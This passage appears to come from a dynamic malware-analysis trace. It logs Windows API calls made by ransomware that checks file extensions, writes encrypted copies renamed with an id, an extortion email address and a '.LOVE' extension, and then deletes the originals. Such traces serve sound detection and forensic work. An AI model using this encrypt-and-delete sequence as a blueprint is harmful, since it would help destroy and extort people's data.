[0196.183] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0196.183] lstrlenW (lpString=".bz2") returned 4 [0196.183] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0196.183] lstrlenW (lpString=".7z") returned 3 [0196.183] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0196.183] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0196.183] lstrlenW (lpString=".dbf") returned 4 [0196.183] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0196.183] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0196.183] lstrlenW (lpString=".1cd") returned 4 [0196.183] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0196.183] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0196.183] lstrlenW (lpString=".jpg") returned 4 [0196.183] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0196.183] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0196.183] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0196.183] lstrlenW (lpString=".doc") returned 4 [0196.183] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0196.183] lstrlenW (lpString=".docx") returned 5 [0196.183] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0196.183] lstrlenW (lpString=".pdf") returned 4 [0196.183] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0196.183] lstrlenW (lpString=".xls") returned 4 [0196.183] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0196.183] lstrlenW (lpString=".xlsx") returned 5 [0196.183] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0196.183] lstrlenW (lpString=".ppt") returned 4 [0196.183] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0196.183] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0196.183] lstrlenW (lpString=".zip") returned 4 [0196.183] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0196.183] lstrlenW (lpString=".rar") returned 4 [0196.184] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0196.184] lstrlenW (lpString=".bz2") returned 4 [0196.184] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0196.184] lstrlenW (lpString=".7z") returned 3 [0196.184] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0196.184] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0196.184] lstrlenW (lpString=".dbf") returned 4 [0196.184] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0196.184] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0196.184] lstrlenW (lpString=".1cd") returned 4 [0196.184] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0196.184] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0196.184] lstrlenW (lpString=".jpg") returned 4 [0196.184] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0196.184] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0196.184] lstrlenW (lpString="LocalizedData.xml") returned 17 [0196.184] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0196.203] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=80060) returned 1 [0196.203] CloseHandle (hObject=0x2d4) returned 1 [0196.203] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 0x80 [0196.203] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.204] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0196.204] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.204] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.204] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0196.205] GetLastError () returned 0x0 [0196.205] ReadFile (in: hFile=0x2f0, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x138bc, lpOverlapped=0x0) returned 1 [0196.237] WriteFile (in: hFile=0x304, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x138c0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x138c0, lpOverlapped=0x0) returned 1 [0196.322] ReadFile (in: hFile=0x2f0, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.322] WriteFile (in: hFile=0x304, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xf6, lpOverlapped=0x0) returned 1 [0196.322] SetEndOfFile (hFile=0x304) returned 1 [0196.322] CloseHandle (hObject=0x304) returned 1 [0196.325] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.325] SetEndOfFile (hFile=0x2f0) returned 1 [0196.325] CloseHandle (hObject=0x2f0) returned 1 [0196.325] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.410] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 1 [0196.410] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0196.410] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0196.410] lstrlenW (lpString=".doc") returned 4 [0196.410] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0196.410] lstrlenW (lpString=".docx") returned 5 [0196.410] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0196.410] lstrlenW (lpString=".pdf") returned 4 [0196.410] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0196.410] lstrlenW (lpString=".xls") returned 4 [0196.410] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0196.411] lstrlenW (lpString=".xlsx") returned 5 [0196.411] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0196.411] lstrlenW (lpString=".ppt") returned 4 [0196.411] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0196.411] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0196.411] lstrlenW (lpString=".zip") returned 4 [0196.411] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0196.411] lstrlenW (lpString=".rar") returned 4 [0196.411] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0196.411] lstrlenW (lpString=".bz2") returned 4 [0196.411] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0196.411] lstrlenW (lpString=".7z") returned 3 [0196.411] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0196.411] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0196.411] lstrlenW (lpString=".dbf") returned 4 [0196.411] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0196.411] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0196.411] lstrlenW (lpString=".1cd") returned 4 [0196.411] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0196.411] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0196.411] lstrlenW (lpString=".jpg") returned 4 [0196.411] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0196.411] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0196.411] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0196.411] lstrlenW (lpString=".doc") returned 4 [0196.411] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0196.411] lstrlenW (lpString=".docx") returned 5 [0196.411] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0196.411] lstrlenW (lpString=".pdf") returned 4 [0196.412] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0196.412] lstrlenW (lpString=".xls") returned 4 [0196.412] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0196.412] lstrlenW (lpString=".xlsx") returned 5 [0196.412] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0196.412] lstrlenW (lpString=".ppt") returned 4 [0196.412] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0196.412] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0196.412] lstrlenW (lpString=".zip") returned 4 [0196.412] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0196.412] lstrlenW (lpString=".rar") returned 4 [0196.412] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0196.412] lstrlenW (lpString=".bz2") returned 4 [0196.412] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0196.412] lstrlenW (lpString=".7z") returned 3 [0196.412] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0196.412] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0196.412] lstrlenW (lpString=".dbf") returned 4 [0196.412] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0196.412] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0196.412] lstrlenW (lpString=".1cd") returned 4 [0196.412] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0196.412] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0196.412] lstrlenW (lpString=".jpg") returned 4 [0196.412] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0196.412] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0196.413] lstrlenW (lpString="LocalizedData.xml") returned 17 [0196.413] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0196.413] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=82374) returned 1 [0196.413] CloseHandle (hObject=0x2cc) returned 1 [0196.413] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 0x80 [0196.413] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.413] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0196.414] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.414] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.414] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0196.414] GetLastError () returned 0x0 [0196.414] ReadFile (in: hFile=0x2cc, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x141c6, lpOverlapped=0x0) returned 1 [0196.435] WriteFile (in: hFile=0x304, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x141d0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x141d0, lpOverlapped=0x0) returned 1 [0196.437] ReadFile (in: hFile=0x2cc, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.437] WriteFile (in: hFile=0x304, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xf6, lpOverlapped=0x0) returned 1 [0196.437] SetEndOfFile (hFile=0x304) returned 1 [0196.437] CloseHandle (hObject=0x304) returned 1 [0196.440] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.440] SetEndOfFile (hFile=0x2cc) returned 1 [0196.440] CloseHandle (hObject=0x2cc) returned 1 [0196.440] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.441] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 1 [0196.441] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0196.441] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0196.441] lstrlenW (lpString=".doc") returned 4 [0196.441] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0196.441] lstrlenW (lpString=".docx") returned 5 [0196.441] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0196.441] lstrlenW (lpString=".pdf") returned 4 [0196.441] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0196.441] lstrlenW (lpString=".xls") returned 4 [0196.441] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0196.442] lstrlenW (lpString=".xlsx") returned 5 [0196.442] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0196.442] lstrlenW (lpString=".ppt") returned 4 [0196.442] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0196.442] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0196.442] lstrlenW (lpString=".zip") returned 4 [0196.442] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0196.442] lstrlenW (lpString=".rar") returned 4 [0196.442] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0196.442] lstrlenW (lpString=".bz2") returned 4 [0196.442] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0196.442] lstrlenW (lpString=".7z") returned 3 [0196.442] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0196.442] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0196.442] lstrlenW (lpString=".dbf") returned 4 [0196.442] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0196.442] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0196.442] lstrlenW (lpString=".1cd") returned 4 [0196.442] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0196.442] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0196.442] lstrlenW (lpString=".jpg") returned 4 [0196.442] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0196.442] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0196.442] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0196.442] lstrlenW (lpString=".doc") returned 4 [0196.442] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0196.442] lstrlenW (lpString=".docx") returned 5 [0196.442] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0196.442] lstrlenW (lpString=".pdf") returned 4 [0196.442] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0196.443] lstrlenW (lpString=".xls") returned 4 [0196.443] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0196.443] lstrlenW (lpString=".xlsx") returned 5 [0196.443] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0196.443] lstrlenW (lpString=".ppt") returned 4 [0196.443] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0196.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0196.443] lstrlenW (lpString=".zip") returned 4 [0196.443] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0196.443] lstrlenW (lpString=".rar") returned 4 [0196.443] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0196.443] lstrlenW (lpString=".bz2") returned 4 [0196.443] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0196.443] lstrlenW (lpString=".7z") returned 3 [0196.443] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0196.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0196.443] lstrlenW (lpString=".dbf") returned 4 [0196.443] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0196.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0196.443] lstrlenW (lpString=".1cd") returned 4 [0196.443] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0196.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0196.443] lstrlenW (lpString=".jpg") returned 4 [0196.443] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0196.443] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0196.443] lstrlenW (lpString="LocalizedData.xml") returned 17 [0196.443] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0196.444] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=80738) returned 1 [0196.444] CloseHandle (hObject=0x2cc) returned 1 [0196.444] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 0x80 [0196.444] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.444] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0196.444] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.444] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.444] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0196.444] GetLastError () returned 0x0 [0196.444] ReadFile (in: hFile=0x2cc, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x13b62, lpOverlapped=0x0) returned 1 [0196.548] WriteFile (in: hFile=0x304, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x13b70, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x13b70, lpOverlapped=0x0) returned 1 [0196.550] ReadFile (in: hFile=0x2cc, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.550] WriteFile (in: hFile=0x304, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xf6, lpOverlapped=0x0) returned 1 [0196.550] SetEndOfFile (hFile=0x304) returned 1 [0196.550] CloseHandle (hObject=0x304) returned 1 [0196.552] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.552] SetEndOfFile (hFile=0x2cc) returned 1 [0196.554] CloseHandle (hObject=0x2cc) returned 1 [0196.554] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.554] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 1 [0196.554] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0196.554] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0196.555] lstrlenW (lpString=".doc") returned 4 [0196.555] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0196.555] lstrlenW (lpString=".docx") returned 5 [0196.555] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0196.555] lstrlenW (lpString=".pdf") returned 4 [0196.555] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0196.555] lstrlenW (lpString=".xls") returned 4 [0196.555] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0196.555] lstrlenW (lpString=".xlsx") returned 5 [0196.555] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0196.555] lstrlenW (lpString=".ppt") returned 4 [0196.555] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0196.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0196.555] lstrlenW (lpString=".zip") returned 4 [0196.555] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0196.555] lstrlenW (lpString=".rar") returned 4 [0196.555] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0196.555] lstrlenW (lpString=".bz2") returned 4 [0196.555] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0196.555] lstrlenW (lpString=".7z") returned 3 [0196.555] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0196.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0196.555] lstrlenW (lpString=".dbf") returned 4 [0196.555] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0196.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0196.555] lstrlenW (lpString=".1cd") returned 4 [0196.555] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0196.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0196.555] lstrlenW (lpString=".jpg") returned 4 [0196.555] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0196.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0196.556] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0196.556] lstrlenW (lpString=".doc") returned 4 [0196.556] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0196.556] lstrlenW (lpString=".docx") returned 5 [0196.556] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0196.556] lstrlenW (lpString=".pdf") returned 4 [0196.556] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0196.556] lstrlenW (lpString=".xls") returned 4 [0196.556] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0196.556] lstrlenW (lpString=".xlsx") returned 5 [0196.556] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0196.556] lstrlenW (lpString=".ppt") returned 4 [0196.556] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0196.556] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0196.556] lstrlenW (lpString=".zip") returned 4 [0196.556] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0196.556] lstrlenW (lpString=".rar") returned 4 [0196.556] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0196.556] lstrlenW (lpString=".bz2") returned 4 [0196.556] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0196.556] lstrlenW (lpString=".7z") returned 3 [0196.556] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0196.556] lstrlenW 